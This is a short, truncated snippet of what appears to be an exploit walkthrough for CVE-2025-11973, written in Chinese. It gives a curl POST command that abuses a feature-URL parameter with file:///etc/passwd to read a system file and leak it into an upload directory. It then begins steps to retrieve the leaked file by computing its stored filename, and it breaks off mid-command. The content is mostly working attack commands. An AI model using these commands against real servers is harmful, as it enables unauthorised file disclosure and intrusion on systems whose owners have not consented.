CVE-2025-11973

触发：通过 file:// 读取 /etc/passwd 并外泄到上传目录 root@kitploit: curl -sS -A "$UA" -X POST "$BASE/?kdsflag=post" \ --data-urlencode "kdspassword=$SECRET" \ --data-urlencode "posttitle=sub1-lfi" \ --data-urlencode "kdsfeatureurl=file:///etc/passwd" 检索已外泄的文件 计算存储的文件名 root@kitploit: HASH=$printf...